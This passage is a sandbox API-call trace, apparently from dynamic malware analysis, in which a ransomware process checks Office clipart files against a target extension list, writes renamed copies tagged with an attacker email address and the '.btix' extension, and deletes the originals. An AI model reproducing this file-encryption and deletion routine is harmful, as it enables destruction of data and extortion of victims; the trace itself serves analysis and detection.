[0136.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.395] lstrlenW (lpString=".dbf") returned 4 [0136.395] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.395] lstrlenW (lpString=".1cd") returned 4 [0136.395] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.612] lstrlenW (lpString=".jpg") returned 4 [0136.612] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.612] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.612] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0136.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.175] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5968) returned 1 [0137.175] CloseHandle (hObject=0x540) returned 1 [0137.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0137.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.176] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.176] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.177] GetLastError () returned 0x0 [0137.177] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1750, lpOverlapped=0x0) returned 1 [0137.178] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1760, lpOverlapped=0x0) returned 1 [0137.179] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.179] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.179] SetEndOfFile (hFile=0x508) returned 1 [0137.179] CloseHandle (hObject=0x508) returned 1 [0137.179] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.179] SetEndOfFile (hFile=0x540) returned 1 [0137.181] CloseHandle (hObject=0x540) returned 1 [0137.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0137.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.182] lstrlenW (lpString=".doc") returned 4 [0137.183] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.183] lstrlenW (lpString=".docx") returned 5 [0137.183] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.183] lstrlenW (lpString=".pdf") returned 4 [0137.183] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.183] lstrlenW (lpString=".xls") returned 4 [0137.183] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.183] lstrlenW (lpString=".xlsx") returned 5 [0137.183] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.183] lstrlenW (lpString=".ppt") returned 4 [0137.183] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.183] lstrlenW (lpString=".zip") returned 4 [0137.183] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.183] lstrlenW (lpString=".rar") returned 4 [0137.183] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.183] lstrlenW (lpString=".bz2") returned 4 [0137.183] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.183] lstrlenW (lpString=".7z") returned 3 [0137.183] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.183] lstrlenW (lpString=".dbf") returned 4 [0137.183] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.183] lstrlenW (lpString=".1cd") returned 4 [0137.183] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.183] lstrlenW (lpString=".jpg") returned 4 [0137.183] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.183] lstrlenW (lpString=".doc") returned 4 [0137.183] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.183] lstrlenW (lpString=".docx") returned 5 [0137.183] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.184] lstrlenW (lpString=".pdf") returned 4 [0137.184] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.184] lstrlenW (lpString=".xls") returned 4 [0137.184] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.184] lstrlenW (lpString=".xlsx") returned 5 [0137.184] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.184] lstrlenW (lpString=".ppt") returned 4 [0137.184] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.184] lstrlenW (lpString=".zip") returned 4 [0137.184] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.184] lstrlenW (lpString=".rar") returned 4 [0137.184] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.184] lstrlenW (lpString=".bz2") returned 4 [0137.184] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.184] lstrlenW (lpString=".7z") returned 3 [0137.184] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.184] lstrlenW (lpString=".dbf") returned 4 [0137.184] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.184] lstrlenW (lpString=".1cd") returned 4 [0137.184] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0137.184] lstrlenW (lpString=".jpg") returned 4 [0137.184] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.184] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.184] lstrlenW (lpString="PARNT_07.MID") returned 12 [0137.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.185] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6564) returned 1 [0137.185] CloseHandle (hObject=0x540) returned 1 [0137.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0137.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.185] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.185] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.186] GetLastError () returned 0x0 [0137.186] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x19a4, lpOverlapped=0x0) returned 1 [0137.187] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0137.188] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.188] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.188] SetEndOfFile (hFile=0x508) returned 1 [0137.188] CloseHandle (hObject=0x508) returned 1 [0137.188] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.189] SetEndOfFile (hFile=0x540) returned 1 [0137.191] CloseHandle (hObject=0x540) returned 1 [0137.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0137.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.192] lstrlenW (lpString=".doc") returned 4 [0137.192] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.192] lstrlenW (lpString=".docx") returned 5 [0137.192] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0137.192] lstrlenW (lpString=".pdf") returned 4 [0137.192] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.192] lstrlenW (lpString=".xls") returned 4 [0137.192] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.192] lstrlenW (lpString=".xlsx") returned 5 [0137.192] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0137.192] lstrlenW (lpString=".ppt") returned 4 [0137.192] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.192] lstrlenW (lpString=".zip") returned 4 [0137.192] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.192] lstrlenW (lpString=".rar") returned 4 [0137.192] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.192] lstrlenW (lpString=".bz2") returned 4 [0137.192] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.192] lstrlenW (lpString=".7z") returned 3 [0137.192] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.193] lstrlenW (lpString=".dbf") returned 4 [0137.193] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.193] lstrlenW (lpString=".1cd") returned 4 [0137.193] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.193] lstrlenW (lpString=".jpg") returned 4 [0137.193] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.193] lstrlenW (lpString=".doc") returned 4 [0137.193] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.193] lstrlenW (lpString=".docx") returned 5 [0137.193] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0137.193] lstrlenW (lpString=".pdf") returned 4 [0137.193] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.193] lstrlenW (lpString=".xls") returned 4 [0137.193] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.193] lstrlenW (lpString=".xlsx") returned 5 [0137.193] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0137.193] lstrlenW (lpString=".ppt") returned 4 [0137.193] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.193] lstrlenW (lpString=".zip") returned 4 [0137.193] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.193] lstrlenW (lpString=".rar") returned 4 [0137.193] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.193] lstrlenW (lpString=".bz2") returned 4 [0137.193] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.193] lstrlenW (lpString=".7z") returned 3 [0137.193] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.193] lstrlenW (lpString=".dbf") returned 4 [0137.193] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.194] lstrlenW (lpString=".1cd") returned 4 [0137.194] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0137.194] lstrlenW (lpString=".jpg") returned 4 [0137.194] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.194] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.194] lstrlenW (lpString="PARNT_08.MID") returned 12 [0137.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.195] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=7347) returned 1 [0137.195] CloseHandle (hObject=0x540) returned 1 [0137.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0137.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.195] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.195] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.196] GetLastError () returned 0x0 [0137.196] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0137.202] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0137.202] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.202] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.203] SetEndOfFile (hFile=0x508) returned 1 [0137.203] CloseHandle (hObject=0x508) returned 1 [0137.203] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.203] SetEndOfFile (hFile=0x540) returned 1 [0137.205] CloseHandle (hObject=0x540) returned 1 [0137.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0137.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.206] lstrlenW (lpString=".doc") returned 4 [0137.206] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.206] lstrlenW (lpString=".docx") returned 5 [0137.206] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0137.206] lstrlenW (lpString=".pdf") returned 4 [0137.206] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.206] lstrlenW (lpString=".xls") returned 4 [0137.206] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.206] lstrlenW (lpString=".xlsx") returned 5 [0137.206] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0137.206] lstrlenW (lpString=".ppt") returned 4 [0137.206] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.206] lstrlenW (lpString=".zip") returned 4 [0137.206] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.206] lstrlenW (lpString=".rar") returned 4 [0137.207] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.207] lstrlenW (lpString=".bz2") returned 4 [0137.207] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.207] lstrlenW (lpString=".7z") returned 3 [0137.207] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.207] lstrlenW (lpString=".dbf") returned 4 [0137.207] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.207] lstrlenW (lpString=".1cd") returned 4 [0137.207] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.207] lstrlenW (lpString=".jpg") returned 4 [0137.207] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.207] lstrlenW (lpString=".doc") returned 4 [0137.207] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.207] lstrlenW (lpString=".docx") returned 5 [0137.207] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0137.207] lstrlenW (lpString=".pdf") returned 4 [0137.207] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.207] lstrlenW (lpString=".xls") returned 4 [0137.207] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.207] lstrlenW (lpString=".xlsx") returned 5 [0137.208] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0137.208] lstrlenW (lpString=".ppt") returned 4 [0137.208] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.208] lstrlenW (lpString=".zip") returned 4 [0137.208] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.208] lstrlenW (lpString=".rar") returned 4 [0137.208] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.208] lstrlenW (lpString=".bz2") returned 4 [0137.208] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.208] lstrlenW (lpString=".7z") returned 3 [0137.208] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.208] lstrlenW (lpString=".dbf") returned 4 [0137.208] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.208] lstrlenW (lpString=".1cd") returned 4 [0137.208] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0137.208] lstrlenW (lpString=".jpg") returned 4 [0137.208] lstrcmpiW (lpString1=".jpg", 